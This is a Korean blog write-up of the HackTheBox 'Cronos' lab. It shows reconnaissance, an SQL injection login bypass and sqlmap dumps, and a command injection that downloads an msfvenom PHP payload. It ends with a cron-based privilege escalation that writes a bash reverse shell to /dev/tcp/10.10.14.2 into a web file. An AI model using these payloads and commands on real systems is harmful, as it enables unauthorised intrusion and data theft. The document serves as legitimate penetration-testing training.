HackTheBox - Cronos환경 실습
진행 절차
Step 1. HackTheBox 사용을 위해 Kali Linux에서 VPN 맺은 후, 정보 수집을 위해 mnap을 통해 확인해본 결과, HTTP, DNS, SSH가 Open되어 있음을 확인
Step 2. HTTP로 접근 시 특이사항 없었으며, 디렉토리 스캔해본 결과,별다른 특이사항이 없는것으로 확인. DNS 포트가 활성화 되어 있어 IP가 아닌 도메인으로 구성이 되어 있을것으로 추측.
Step 3. DNS 서버에 10.10.10.13 IP의 도메인 조회 시, 'ns1.cronos.htb' 네임서버 alias 전달 받았으며, DNS 영역은 cronos.htb 인것을 식별. 전달받은 도메인을 통해 다시 요청 시, 해당 IP에 매핑되어 있는 도메인 정보를 수집. 수집한
전달받았으며, 전달 받은 도메인을 '/etc/hosts'에 등록
명령어 |
root@kali#host 10.10.10.13 10.10.10.13 |
명령어 |
root@kali#host –l cronos.tb 10.10.10.13 |
명령어 |
root@kali#mousepad /etc/hosts |
Step 4. 도메인 등록한 페이지로 다시 접근 시, 앞서 접근했던 apache 디폴트페이지가 아닌 다른 페이지가 뜨는 것을 확인. 해당 페이지로 다시 디렉토리 스캔 시, 특이한 사항이 발견되지 않았으며, HackTheBox 실행 전 홈페이지에 SQL Injection 취약점이 있다는 정보를 토대로 SQL Injection 공격 수행 시 계정정보를 알지 못해도 관리자 계정으로 접근 가능 확인.
- SQL 인젝션 설명은 하기 링크 참조
https://sheow13.tistory.com/16
SQL Injection
개요 - SQL(Structured Query Language)이란 DB를 조작하기 위한 질의어(언어)로, 데이터베이스를 구축하고 활용하기 위해 사용하는 언어이다. - 웹 페이지 상에서 표출되어 있는 대부분의 데이터들이
sheow13.tistory.com
명령어 |
root@kali#gobuster dir –w /usr/share/seclists/Discovery/Web-Content/big.txt –x php,html –u http://cronos.htb |
입력값 |
ID : ‘ OR 1=1;# PW : 어떠한 값을 입력해도 상관없음 |
기타 방법. SQLmap을 통한 SQL Injection 취약점 여부 확인
1. 로그인 시, 어떠한 방식(Ex, GET, POST)으로 로그인 시도 하는지 확인
- 개발자 도구 또는 웹 프록시를 통해 확인 가능
2. SQLMap을 통해 스캔하여 데이터베이스 테이블 정보 등을 탈취
명령어 |
root@kali#sqlmap –u “http://admin.cronos.htb” --data=“username=admin&password=admin” --batch —risk=3 —level=3 --tables |
SQLMap 옵션 | 설명 |
-u | - 점검하고자 하는 URL 입력 |
--data | - POST로 요청하는 파라미터 점검 |
--cookie | - 로그인을 해야 서비스 이용 가능한 웹페이지 점검 시 사용 |
--batch | - SQLMap 점검 과정에서 사용자에게 묻지 않고 디폴트 값으로 진행 |
--risk | - SQLMap 점검하는 과정에서 risk를 어떻게 설정할건지 설정 (디폴트는 1이며, 높을수록 시스템에 영향이 생길 가능성이 커짐) |
--level | - SQLMap 점검하는 과정에서 level을 어떻게 설정할건지 설정 (디폴트는 1이며, 높을수록 점검하는 항목 및 디테일하게 점검) |
--tables | - 데이터베이스 테이블 정보만 출력하도록 설정 |
-D | - 식별된 데이터베이스를 지정하는 옵션 |
-T | - 식별된 테이블을 지정하는 옵션 |
--dbms | - 식별된 DBMS를 지정하는 옵션 |
-a | - 모든 데이터베이스, 테이블 정보들을 출력하는 옵션 |
--dump | - DBMS 데이터베이스 테이블 엔트리를 덤프 |
명령어 |
root@kali#sqlmap –u “http://admin.cronos.htb” --data=“username=admin&password=admin” --batch —risk=3 —level=3 –D admin –T users --dump |
3. 식별된 패스워드 crack 시도
- 이번에는 패스워드 crack 실패 하였으나, 해당 방법등을 토대로 패스워드 수집 후 접근 하는 방법도 존재
명령어 |
root@kali#hashcat –a –m0 [암호화 된 패스워드] |
Step 5. 접근한 페이지 확인 시 웹에서 시스템 명령어를 사용할 수 있는 것으로 추측되어 시스템 명령어 입력 시 정상 동작 확인. 이를 통해 리버스 쉘을 실행할 수 있을 것으로 판단. netcat 명령어를 사용하여 직접 리버스 쉘을 붙으려고 했으나 연결 뒤 바로 끊어지는 것을 확인. 파일 업로드를 통해 리버스 쉘 연결 시도 시, 정상적으로 리버스 쉘 획득 성공
명령어 |
root@kali#msfvenom –p php/meterpreter/reverse_tcp lhost=10.10.14.3 lport=4444 –f raw –o reverse.php |
명령어 |
root@kali#python3 –m http.server 80 |
입력값 |
8.8.8.8; wget http://10.10.14.2/reverse.php |
명령어 |
root@kali#msfvenom –p php/meterpreter/reverse_tcp lhost=[Kali IP] lport=[listen port] -o reverse.php |
msf6>msfconsole |
msf6>use exploit/multi/handler |
msf6 exploit(multi/handler)>set payload php/meterpreter/reverse_tcp |
msf6 exploit(multi/handler)>set lhost [Kali IP] |
msf6 exploit(multi/handler)>set lport [Kali Port] |
msf6 exploit(multi/handler)>exploit |
Step 6. 권한 상승을 위하여 리눅스 점검 도구인 'linpeas.sh' 업로드 후 점검 시에, cron을 통해 'artisan.php'가 동작하고 있는 것으로 확인. 해당 파일 소유자가 '/var/www/html'로 되어 있어 변경 가능한 것으로 확인하여 리버스 쉘 업로드 시 루트 권한으로 리버스 쉘 획득 성공 확인
명령어 |
meterpreter > shell |
python3 –c ‘import pty;pty.spawn(“/bin/bash”)’ |
www-data@cronos:wget http://10.10.14.2/linpeas.sh |
www-data@cronos:chmod 777 linpeas.sh |
www-data@cronos::./linpeas.sh |
명령어 |
www-data@cronos$echo '<?php exec("/bin/bash -c '"'"'bash -i >& /dev/tcp/10.10.14.2/3333 0>&1'"'"'");' > /var/www/laravel/artisan |
'hackthebox' 카테고리의 다른 글
HackTheBox - Sense (0) | 2023.11.29 |
---|---|
HackTheBox - Nineveh (0) | 2023.11.22 |
HackTheBox - Beep (0) | 2023.11.15 |
HackTheBox - Nibbles (0) | 2023.11.14 |
HackTheBox - Bashed (2) | 2023.11.13 |